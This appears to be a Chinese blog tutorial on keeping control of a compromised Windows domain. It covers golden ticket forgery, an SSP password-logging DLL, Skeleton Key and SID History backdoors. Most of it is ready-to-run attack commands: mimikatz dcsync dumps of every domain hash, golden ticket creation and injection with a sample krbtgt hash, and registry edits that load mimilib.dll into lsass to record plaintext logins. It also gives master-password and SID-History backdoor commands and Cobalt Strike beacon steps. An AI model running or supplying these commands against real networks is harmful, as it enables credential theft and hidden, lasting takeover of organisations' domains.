PTT
(1) 黄金票据伪造原理
KDC 返回的 Msg B:使用 TGS密钥(KDC HASH / KRBTGT用户NTLM HASH) 加密的 TGT (Ticket-Granting-Ticket),当我们获取到krbtgt用户的 NTLM 哈希后,便可主动使用 krbtgt 用户的NTLM 哈希做为 TGS 密钥来生成 TGT 发送给KDC,这样KDC如果通过解密伪造 TGT 获取到伪造的[CLIENT/TGS SESSIONKEY] 可以成功解密Authenticator 1 并完成与TGT中的数据进行比对,便成功骗过了KDC,也就是成功伪造了黄金票据
(2) 黄金票据伪造条件
- 域名称
- 域的SID值
- 域的 KRBTGT 账户密码 HASH
- 伪造用户名,可以是任意的
(3) 利用步骤
1、上线域控的beacon
2、获取所有域用户的HASH
mimikatz lsadump::dcsync/domain:mingy.local /all /csv
#获取指定的域控的krbtgt的hash
mimikatz lsadump::dcsync/user:krbtgt@域名
例如:
mimikatz lsadump::dcsync/user:[email protected]
3、获取当前用户的SID
shell whoami /all
4、使用cs注入黄金票据
5、将黄金票据保存为文件
在下面注入命令中选中的命令后加上/ticket:golden.kirbi
例如:
mimikatz kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121
-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:golden.kirbi
6、将保存的黄金票据注入到目标机器的内存
(1)将黄金票据上传至目标机器
(2)将目标机器的票据全部清除
#beacon清除
mimikatz kerberos::purge
#使用目标命令清除
shell klist purge
(3)将黄金票据注入目标机器的内存
mimikatz kerberos::ptt golden.kiribi
7、生成正向beacon
8、使用portsan将域控扫描出来
9、使用psexec上线域控的beacon
SSP(记录登录时的密码)
(1) SSP简介
SSP:security Support Provider ,一个用于身份验证的 dll
SSPI:Security Support Provider Interface,Windows 系统在执行认证操作所使用的API。
SSPI是SSP的API接口
LSA:Local Security Authority,用于身份认证,常见进程为 lsass.exe,特别的地方在于LSA是可扩展的,在系统启动的时候SSP会被加载到进程lsass.exe中.这相当于我们可以自定义一个dll,在系统启动的时候被加载到进程 lsass.exe 。
(2) 原理
1、系统在启动时 SSP 会被加载到 lsass.exe 进程中,由于 lsa 可扩展,导致在系统启动时我们可以加载一个自定义的 dll,一个用于记录所有登录到当前系统的明文账号密码的 dll, 利用mimikatz 中mimilib.dll 文件。
2、将 mimikatz 中的 mimilib.dll 放到系统的C:\Windows\system32目录下(DLL的位数需要与windows位数相同),并将 mimilib.dll 添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果。
(3) 利用
一、
1、将dll文件上传至目标机器
copymimilib.dll %systemroot%\system32
2、查询Security Packages是否有值
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
3、向Security Packages中写入记录的参数
reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos
\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
注:需重启计算机
二、使用mimikatz
将mimikatz上传至目标机器,执行以下命令
mimikatz privilege::debug
mimikatz misc::memssp
Skeleton Key
(1) Skeleton Key简介
Skeleton Key是一种不需要域控重启即能生效的维持域控权限方法。
Skeleton Key被安装在64位的域控服务器上,支持 Windows Server2003—Windows Server2012R2 ,能够让所有域用户使用同一个万能密码进行登录,现有的所有域用户使用原密码仍能继续登录,注意并不能更改用户权限,重启后失效。
(2) 利用
1、在域控安装Skeleton Key
#上传mimikatz并执行以下命令
privilege::debug
misc::skeleton
2、域内主机使用Skeleton Key登录域控(在beacon中执行)
#mimikatz的默认Skeleton Key设置为mimikatz,Skeleton Key只是给所有账户添加了一个万能密码,无法修改账户的权限
shell met use \\域控主机名 /user:administrator@域 mimikatz
SID History
(1) SID简介
每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。
SID History是在域迁移过程中需要使用的一个属性。
如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。
SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法。
(2) 利用
1、域控上添加并启用域账户
dsadd user cn=用户名,dc=域名,dc=域后缀 -disabled no -pwd 密码
2、Mimikatz添加后门
privilege::debug
sid::patch
sid::add /sam:用户名 /new:administrator
3、PowerShell查看用户的SID History
Import-Module ActiveDirectory
Get-ADUser 用户名 -Properties sidhistory
注:如果有结尾时500的id表示利用成功
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)